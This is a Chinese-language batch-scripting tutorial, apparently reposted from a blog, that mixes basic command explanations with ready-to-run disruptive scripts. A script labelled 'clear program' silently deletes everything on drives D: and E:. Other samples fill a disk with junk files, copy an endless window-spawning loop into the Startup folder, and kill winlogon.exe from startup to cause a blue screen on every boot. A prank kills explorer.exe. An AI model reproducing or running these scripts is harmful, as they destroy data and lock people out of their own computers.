赞
踩
本文主要介绍了如何创建批处理文件,以及写一些简单的批处理脚本程序,如删除垃圾文件、生成垃圾文件、开机就死循环、定时小程序和蓝屏程序。
成批得处理DOS命令,自上而下成批地处理每一条命令,直到执行最后一条!即便其中某一行命令执行出错,也继续执行后续命令。
(1)新建一个记事本文件,然后将扩展名改为.bat。注意:修改扩展名时,需要将文件的扩展名显示出来后再进行修改。
(2)右键该文件,并点击>>编辑,可以开始编写批处理文件。
(3)批处理文件是以cmd执行的可执行文件,双击即可执行。
注意:
(1)批处理文件中不能采用#号的注释方式,可以采用其他注释方式,如::等,但均是行注释,本代码为方便逐行注释,采用Python的注释方式。
(2)尽量一行一条命令,然后一行一行去执行
@echo off #关闭回显功能,屏蔽执行过程,在屏幕上只显示结果,不显示执行过程, #一般放在首行,常用。 color 0a #color为设置背景和字体颜色,0代表黑色,a代表绿色,第一个是背景色,第二个 #为字体颜色 title clear program #title为设置程序标题 echo ========================== echo clear your program echo clearing echo ========================== pause #设置暂停,执行到此处暂停,不至于瞬间执行完毕退出,即使后面有命令 #也不执行,等待后续操作,才继续执行,非常常用 echo. #输出空一行 echo program is chearing # d: >nul 2>nul #“nul”是空的意思。“>nul 2>nul”是指无论该命令执行成功与否,均不返回任何提示,防止电脑没有D盘,可能会有提示。 cd\ >nul 2>nul #返回D盘根目录 rd . /s/q >nul 2>nul #删除文件及文件夹,部分受系统保护的会提示拒绝访问,使用>nul设置不显示该类提示。 e: >nul 2>nul #“nul”是空的意思。不返回任何结果,无论它是错是对。 cd\ >nul 2>nul #返回E盘根目录 rd . /s/q >nul 2>nul # ping -n 10 127.0.0.1 >nul 2>nul #可以增加一些不显示的操作 echo congratulation #恭喜 pause #暂停
补充小知识点:
(1)按win+r键,输入cmd,在DOS命令窗口,输入color ?,可以显示各个颜色与数字字母的对应关系。
(2)批处理中,若想显示结果空一行,执行echo. ,否则即使批处理文件中有空行,显示结果也不会空行。
注意:本代码需要以管理员运行
d: >nul 2>nul
cd\ >nul 2>nul
fsutil file creatnew d:sys1.ini 102400000
fsutil file creatnew d:sys2.ini 102400000
fsutil file creatnew d:sys3.ini 102400000
fsutil file creatnew d:sys4.ini 102400000
(1)“:”用于定义一个命令区间,可以把若干个命令划分为若干个区块,每个冒号为一个区块,如
:1、:2、:3。
(2)“:”后面可以跟任何符号,包括数字、汉字、英文等,表示对这个区块起个名字。
(3)“:”并不是命令,没有任何操作,但是系统能识别,表示进入某个区块。所以“:”单独使用没有任何意义,需要与goto(跳转)配合使用。
(1)start 表示开启的意思,后面可以写路径/程序/网页,帮助我们打开某个程序或网页等
(2)若start后面什么都不写,表示打开cmd。
userprofile是一个变量,是系统自定义的,其值表示当前用户的家目录路径。
%%表示取值,获取变量值。
#下列脚本为一个死循环,名字为“sixunhuan,bat”
:ddd
start
goto ddd
想把“sixunhuan,bat”这个脚本电脑一开机就运行,需要在把这个脚本复制到启动路径下,其中winxp的启动路径为“C:\Documents and Settings\Administrator\「开始」菜单\程序\启动”。但是可能不同的系统启动路径不一致,且不一定用Administrator这个用户登录,所以这样不能保证开机就启动死循环程序。因此需要学会利用userprofile这个变量。
copy sixunhuan "%userprofile%「开始」菜单\程序\启动"
:ddd
start
goto ddd
注意:若路径有特殊符号,需要用“”将路径括起来
@echo off color 0a title 定时小程序V1.0 :menu cls echo ========================== echo 菜单 echo 1.定时关机 echo 2.取消定时 echo 3.退出 echo ========================== set /p choose=输入您的选择序号 if "%choose%" =="1" goto 1.定时关机 if "%choose%" =="2" goto 2.取消定时 if "%choose%" =="3" goto 3.退出 echo 别瞎搞,请输入1 2 3。 pause goto menu :1.定时关机 set /p time=请输入定时关机时间(单位/s): shutdown -s -f -t %time% goto menu :2.取消定时 shutdown -a goto menu :3.退出 exit
案例解读:
(1)set设置变量,“set /p choose=输入您的选择序号”,其中”choose"为变量,假如不加“/p",则"choose=“后面为变量choose的值,而加了” /p"表示choose变量的值为用户所输入的,后面跟的话只是给用户看的。该行命令是为了给用户选择。
(2)set设置变量,“set /p time=请输入定时关机时间(单位/s):”,其中”time"为变量,假如不加“/p",则time=后面为变量time的值,而加了" /p"表示time变量的值为用户所输入的,后面跟的话只是给用户看的。该行命令是为了给用户设置定时关机时间。
(3)“goto menu” 这行命令是为了执行完1或2区块后程序不会继续往下执行,而是返回菜单。
(4)这个清屏命令是为了执行完1或2区块后程序返回菜单区块后,之前的菜单可以清屏,只是为了美观。
(5)注意逻辑完整,提示信息完整。
ntsd -c q pn winlogon.exe #强制杀死指定名称的进程,其中,ntsd为杀进程,winlogon.exe是windows登录
进程。
#该进程会导致蓝屏,尤其是win2003。
#该命令通过echo结合批处理加入到启动菜单里,会导致开机就蓝屏。
(1)taskkill杀进程
taskkill /im explorer.exe /f #强制杀死指定名称的进程.其中,taskkill为杀进程,/im为指定进程,后面可
#以跟进程名称,/f表示强制,explorer.exe是windows程序管理器/桌面进程。
#该进程成功率没ntsd成功率高
(2)案例
@echo off
color 0a
taskkill /im explorer.exe /f >nul 2>nul
echo 什么情况
ping -n 5 127.0.0.1 >nul 2>nul
start c:\windows\explorer.exe
echo 哈哈!吓坏了吧!
pause
tips:
批处理文件也可以称为脚本,在windows系统中称为批处理文件也可以称为DOS脚本,在linux系统中称为shell脚本(在windows系统中的命令称为DOS命令,在linux系统中的命令称为shell命令)。
4参考文献
[1]第4节 批处理文件及示例
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。